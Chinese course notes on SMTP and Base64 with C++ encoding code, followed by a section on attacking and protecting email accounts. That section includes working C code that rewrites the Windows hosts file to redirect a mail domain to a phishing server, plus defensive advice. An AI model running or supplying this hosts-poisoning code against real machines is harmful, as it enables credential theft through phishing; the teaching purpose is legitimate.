一、SMTP协议

SMTP(SimpleMail Transfer Protocol)即简单邮件传输协议。

SMTP协议属于TCP/IP协议簇,通过SMTP协议所指定的server,就能够把E-mail寄到收信人的server上。

SMTPserver则是遵循SMTP协议的发送邮件server,用来发送或中转发出的电子邮件。

SMTP使用TCP提供的可靠的传输数据服务把邮件消息从发信人的邮件server传送到收信人的邮件server。

跟大多数应用层协议一样,SMTP也存在两个 端:在发信人的邮件server上执行的client和在收信人的邮件server上执行的server端。SMTP的client和server端同一时候执行在每一个邮件server上。

当一个邮件server在向其它邮件server发送邮件消息时,它是作为SMTP客户在执行。

二、Base64编码

Base64是网络上最常见的用于传输8Bit字节代码的编码方式之中的一个,參见RFC2045~RFC2049,上面有MIME的具体规范。

Base64编码可用于在SMTP的username和password验证以及邮件附件编码。採用Base64编码具有不可读性,即所编码的数据不会被人用肉眼所直接看到。

  1. // Base64.h: interface for the CBase64 class.
  2. //
  3. //////////////////////////////////////////////////////////////////////
  4.  
  5. #if !defined(AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_)
  6. #define AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_
  7.  
  8. #include <string>
  9. #include <stdio.h>
  10. #include <string.h>
  11.  
  12. using namespace std;
  13.  
  14. class CBase64
  15. {
  16. public:
  17. CBase64();
  18. virtual ~CBase64();
  19. virtual int Decode(const char* szDecoding, char* szOutput );//base64 to ascii
  20. virtual int Encode(const char* szEncoding, int nSize, char* szOutput);//ascii to base64
  21.  
  22. protected:
  23. unsigned char encodeBuf[3000];
  24. char Base2Chr( char n )
  25. {
  26. n &= 0x3F;
  27.  
  28. return m_sBase64Alphabet[(int)n];
  29.  
  30. if ( n < 26 )
  31. return ( char )( n + 'A' );
  32. else if ( n < 52 )
  33. return ( char )( n - 26 + 'a' );
  34. else if ( n < 62 )
  35. return ( char )( n - 52 + '0' );
  36. else if ( n == 62 )
  37. return '+';
  38. else
  39. return '/';
  40. }
  41.  
  42. unsigned char Chr2Base( char c )
  43. {
  44. if ( c >= 'A' && c <= 'Z' )
  45. return ( unsigned char )( c - 'A' );
  46. else if ( c >= 'a' && c <= 'z' )
  47. return ( unsigned char )( c - 'a' + 26 );
  48. else if ( c >= '0' && c <= '9' )
  49. return ( unsigned char )( c - '0' + 52 );
  50. else if ( c == '+' )
  51. return 62;
  52. else if ( c == '/' )
  53. return 63;
  54. else
  55. return 64; // N^P'WV7{
  56. }
  57. static std::string m_sBase64Alphabet;
  58. };
  59.  
  60. //modify end
  61.  
  62. #endif // !defined(AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_)
  1. // Base64.cpp: implementation of the CBase64 class.
  2. #define _CRT_SECURE_NO_WARNINGS
  3. #include "Base64.h"
  4. // The 7-bit alphabet used to encode binary information
  5.  
  6. //////////////////////////////////////////////////////////////////////
  7. // Construction/Destruction
  8. //////////////////////////////////////////////////////////////////////
  9.  
  10. CBase64::CBase64()
  11. {
  12. memset(encodeBuf, 0, sizeof(encodeBuf));
  13. }
  14.  
  15. CBase64::~CBase64()
  16. {
  17.  
  18. }
  19.  
  20. std::string CBase64::m_sBase64Alphabet("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" );
  21.  
  22. int CBase64::Decode(const char* szDecoding, char* szOutput )//base64 to ascii
  23. {
  24. unsigned char * p = (unsigned char *)szOutput;
  25. int i, n = strlen( szDecoding );
  26. unsigned char c, t;
  27.  
  28. for ( i = 0; i < n; i++ )
  29. {
  30. if ( *szDecoding == '=' )
  31. break;
  32. do {
  33. if ( *szDecoding )
  34. c = Chr2Base( *szDecoding++ );
  35. else
  36. c = 65; // WV7{4.=aJx
  37. } while ( c == 64 ); // Lx9}N^P'WV7{#,Hg;X355H
  38. if ( c == 65 )
  39. break;
  40. switch ( i % 4 )
  41. {
  42. case 0 :
  43. t = c << 2;
  44. break;
  45. case 1 :
  46. *p++ = ( unsigned char )( t | ( c >> 4 ) );
  47. t = ( unsigned char )( c << 4 );
  48. break;
  49. case 2 :
  50. *p++ = ( unsigned char )( t | ( c >> 2 ) );
  51. t = ( unsigned char )( c << 6 );
  52. break;
  53. case 3 :
  54. *p++ = ( unsigned char )( t | c );
  55. break;
  56. }
  57. }
  58. //(char *)szOutput;
  59.  
  60. return ( (char*)p - szOutput );
  61. }
  62.  
  63. int CBase64::Encode(const char* szEncoding, int nSize, char* szOutput)//ascii to base64
  64. {
  65. std::string sOutput = string("");
  66. int nIndex = 0;
  67. //unsigned char cTemp1[4096];
  68. memset(encodeBuf, 0, sizeof(encodeBuf));
  69.  
  70. if (!szEncoding)
  71. return 0;
  72. /*else
  73. (unsigned char*)szEncoding;*/
  74.  
  75. memcpy(encodeBuf, szEncoding, nSize);
  76.  
  77. unsigned char *cTemp = encodeBuf;
  78.  
  79. unsigned char t;
  80.  
  81. for ( nIndex = 0; nIndex < nSize; nIndex++ )
  82. {
  83. switch ( nIndex % 3 )
  84. {
  85. case 0 :
  86. sOutput += Base2Chr( *cTemp >> 2 );
  87. t = ( *cTemp << 4 ) & 0x3F;
  88. cTemp++;
  89. break;
  90. case 1 :
  91. sOutput += Base2Chr( t | ( *cTemp >> 4 ) );
  92. t = ( *cTemp << 2 ) & 0x3F;
  93. cTemp++;
  94. break;
  95. case 2 :
  96. sOutput += Base2Chr( t | ( *cTemp >> 6 ) );
  97. sOutput += Base2Chr( *cTemp & 0x3F );
  98. cTemp++;
  99. break;
  100. }
  101. }
  102. if ( nSize % 3 != 0 )
  103. {
  104. sOutput += Base2Chr( t );
  105. if ( nSize % 3 == 1 )
  106. sOutput += '=';
  107. sOutput += '=';
  108. }
  109.  
  110. strcpy(szOutput, sOutput.c_str());
  111. return sOutput.length();
  112. }
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include "Base64.h"
  4.  
  5. int main01()//这个是将ascii转化为base64的代码
  6. {
  7. CBase64 base;//创建CBase64类的一个实例,也叫一个对象,
  8. char base64[100] = { 0 };
  9. char ascii[100] = "18513105526";
  10. base.Encode(ascii, strlen(ascii), base64);
  11. printf("%s\n", base64);
  12. return 0;
  13. }
  14.  
  15. int main()//这个是将base64转化为ascii的代码
  16. {
  17. CBase64 base;//创建CBase64类的一个实例,也叫一个对象。
  18. char base64[100] = "UGFzc3dvcmQ6";
  19. char ascii[100] = { 0 };
  20. base.Decode(base64, ascii);//将base64这个字符串转化为ascii,结果放到ascii这个字符串里面
  21. printf("%s\n", ascii);
  22. return 0;
  23. }

三、邮箱账户的破解与防护

1)hosts欺骗与钓鱼站点

钓鱼站点的实现以及怎样防范

钓鱼站点就是一个和真实站点样子非常相似的一个冒牌站点

钓鱼站点把用户输入的信息都截获了

钓鱼站点怎样让用户能主动登陆到钓鱼站点呢?

Hosts欺骗,在windows系统文件夹下有一个hosts文件,这个文件内部存放的就是IP和域名的相应关系

我仅仅须要在hosts文件里增加一行。比方要让用户登陆到mail.wo.cn这个站点的时候自己主动登陆钓鱼站点

Hosts文件里

123.57.211.212 mail.wo.cn

怎样防范,一定要定期检查你的hosts文件,看是否有未知的IP以及其它的域名信息,

不要擅自执行来路不明各种程序,由于有些程序就是恶意的改动你的hosts文件的

  1. #include <Windows.h>
  2. #include <stdio.h>
  3. #include <string.h>
  4. #pragma warning(disable:4996)//屏蔽vs 4996这个错误信息
  5.  
  6. int setHosts(const char *IP, const char *domain)//改动hosts文件
  7. {
  8. char s[100] = { 0 };
  9. GetSystemDirectoryA(s, sizeof(s));//得到windows的系统安装文件夹
  10. char path[1024] = { 0 };
  11. sprintf(path, "%s\\%s", s, "\\drivers\\etc\\hosts");
  12. char content[1024] = { 0 };
  13. sprintf(content, "\n%s %s", IP, domain);
  14. FILE *p = fopen(path, "a");//用追加的方式打开hosts文件
  15. if (p)
  16. {
  17. fputs(content, p);//将ip与域名的相应关系写入hosts文件
  18. fclose(p);
  19. return 0;//代表写入成功
  20. }
  21. return -1;// 写入hosts文件失败
  22. }
  23.  
  24. int main()
  25. {
  26. int rc = setHosts("123.57.211.212", "smtp.wo.cn");
  27. printf("rc = %d\n", rc);
  28. return 0;
  29. }

2)反向代理

怎样通过反向代理来窃取password。以及怎样防范

通过反向代理,差点儿能够无缝的窃取client的非常多信息

一般如今的smtp都具备ssl。所以最好用ssl来连接邮件server。由于用ssl即使有反向代理截获了消息报文,但破译报文的代价会非常大。

为了邮箱的安全,请各位同学一定要使用带ssl功能的邮件server。ssl全部报文都是加密的

切记一定不能擅自执行各种来路不明的程序,有些程序就是通过改动hosts文件来达到钓鱼或者反向代理的恶意企图的。

邮箱的password一旦泄露,有时候代价会非常大。由于非常多骗子会利用你的邮箱发邮件。同一时候万一你的邮箱password和你的其它password是同样。那就更危急了。

传智播客c/c++公开课学习笔记--邮箱账户的破解与邮箱安全防控的更多相关文章

  1. SSH-Struts第三弹:传智播客视频教程第一天上午的笔记

    一. 框架概述1.三大框架 : 是企业主流 JavaEE 开发的一套架构 Struts2 + Spring + Hibernate 2. 什么是框架?为什么要学框架 ?框架 是 实现部分功能的代码 ( ...

  2. 传智播客成都校园php纪律指控

    继传智播客成都校区php第一期班圆满开班,说明php的火爆一点儿也不亚于java! 经传智播客商讨决定,传智播客成都校区php学科收费标准例如以下: 採用下面不论什么一种方式都能够享受优惠价: 一.自 ...

  3. 传智播客ADO.Net项目开发教程具体解释

    内容简单介绍: 本教程为传智播客.Net培训课堂的现场录像,请到140623ls" target="_blank">传智播客.Net学院下载很多其它免费.Net视频 ...

  4. 揭秘传智播客毕业班的超级薪水7k内幕系列II----Offer工资表5.7k,为什么不能让老师就业就业

    在上海传智播客宋学生Java六期学员.在班级尚未毕业阶段,私自投递简历,而且逃课去面试,获得某国企的Offer.入职薪资5.7K,,兼有五险一金.饭补等齐全福利,因就业老师要求班级同学未毕业不要急于就 ...

  5. 揭秘上海传智播客平均工资超过7k 其中一位知情人士

    大学毕业生人数破700万大关.如何破解"毕业即失业"中国式的大学困境? 2014年全国高校毕业生总数将达到727万人,比被称为"史上最难就业年"的2013年再添 ...

  6. 揭秘传智播客班级毕业薪资超7k的内幕系列 之三 ----国企慕名而来,将未毕业学员“抢走”,传智播客又一次定义“被就业”

    前面文章提及Java六期学员张同学提前就业某国企,入职薪资6.3k,各种福利齐全.作为班级首位就业同学,他的就业也成为了班级其它同学就业的风向标.但事实上张同学的就业属于"被就业" ...

  7. 《2013传智播客视频》-wmv,avi,mp4.目录

    \!--14俄罗斯方块\视频\.复习.avi; \!--14俄罗斯方块\视频\ 复习.avi; \!--14俄罗斯方块\视频\ 形状旋转.avi; \!--14俄罗斯方块\视频\ 判断形状能否变形.a ...

  8. 2013传智播客视频--.ppt,.pptx,.doc,.docx.目录

    \!-- JQ03-JQ事件动画\.1版JS+JQ PPT\00JsDom编程01_邹华栋.docx; \!-- JQ03-JQ事件动画\.1版JS+JQ PPT\00JsDom编程01_邹华栋.pp ...

  9. 传智播客.NET视频学习课件

    传智播客.NET视频学习课件访问.NET网站了解更多课程详情http://net.itcast.cn(小提示:为什么本书中超链接打不开?)此套课件是伴随 传智播客.net实况教学视频 (小提示:为什么 ...

随机推荐

  1. webapck 速度优化策略

    一.概述 1.使用高版本Webpack 2.多进程/多实例构建 3.分包 4.缓存 5.缩小构建目标 二.多进程/多实例构建 (1)happypack happypack:https://www.np ...

  2. 为wget命令设置代理

    实验环境:ubuntu 12.04 LTS  goagent 方法一.在环境变量中设置代理 export http_proxy=http://127.0.0.1:8087 方法二.使用配置文件 为wg ...

  3. C++ 后台进程 daemon

    bool Switcher::Daemon() { base::YamlConfig config; if (!config_.ReadConfig(config_file_)) { fprintf( ...

  4. 〖Linux〗Kubuntu KDE开机后总是提示“system program problem detected”的解决方法

    自从从Ubuntu切换到了Kubuntu之后,就经常在开机的时候提示“system program problem detected”: 查看 /var/crash/ 发现都是一些无关痛痒的程序在关机 ...

  5. python之获取微信服务器的ip地址

    # -*- coding: cp936 -*- #PYTHON 27 #xiaodeng #获取微信服务器的ip地址 import urllib url='https://api.weixin.qq. ...

  6. 简单的BSON OID生成实现

    简单的OID生成测试实现,只是简单的用用,切勿用于生产环境. /* 应该使用大端序的,这里没有做转换 * ObjectId是12-byte BSON类型,其结构为: * * 4-byte 值为Unix ...

  7. ftp相关常用命令

     工欲善其事必先利其器 00.FTP常用命令 01.SFTP命令 sftp  user@ip:/tmp

  8. 阿里员工都是这样排查Java问题的,附工具单(转)

    平时的工作中经常碰到很多疑难问题的处理,在解决问题的同时,有一些工具起到了相当大的作用,在此书写下来,一是作为笔记,可以让自己后续忘记了可快速翻阅,二是分享,希望看到此文的同学们可以拿出自己日常觉得帮 ...

  9. ios中网络请求缓存

    #import <Foundation/Foundation.h> #import "ASIFormDataRequest.h" @protocol NetWorkde ...

  10. perf之record

    如果CPU的使用率突然暴涨,如何迅速定位是哪个进程.哪段代码引起的呢?我们需要一个profiling工具,对CPU上执行的代码进行采样.统计,告诉我们CPU到底在忙些什么. perf 就是这样的工具. ...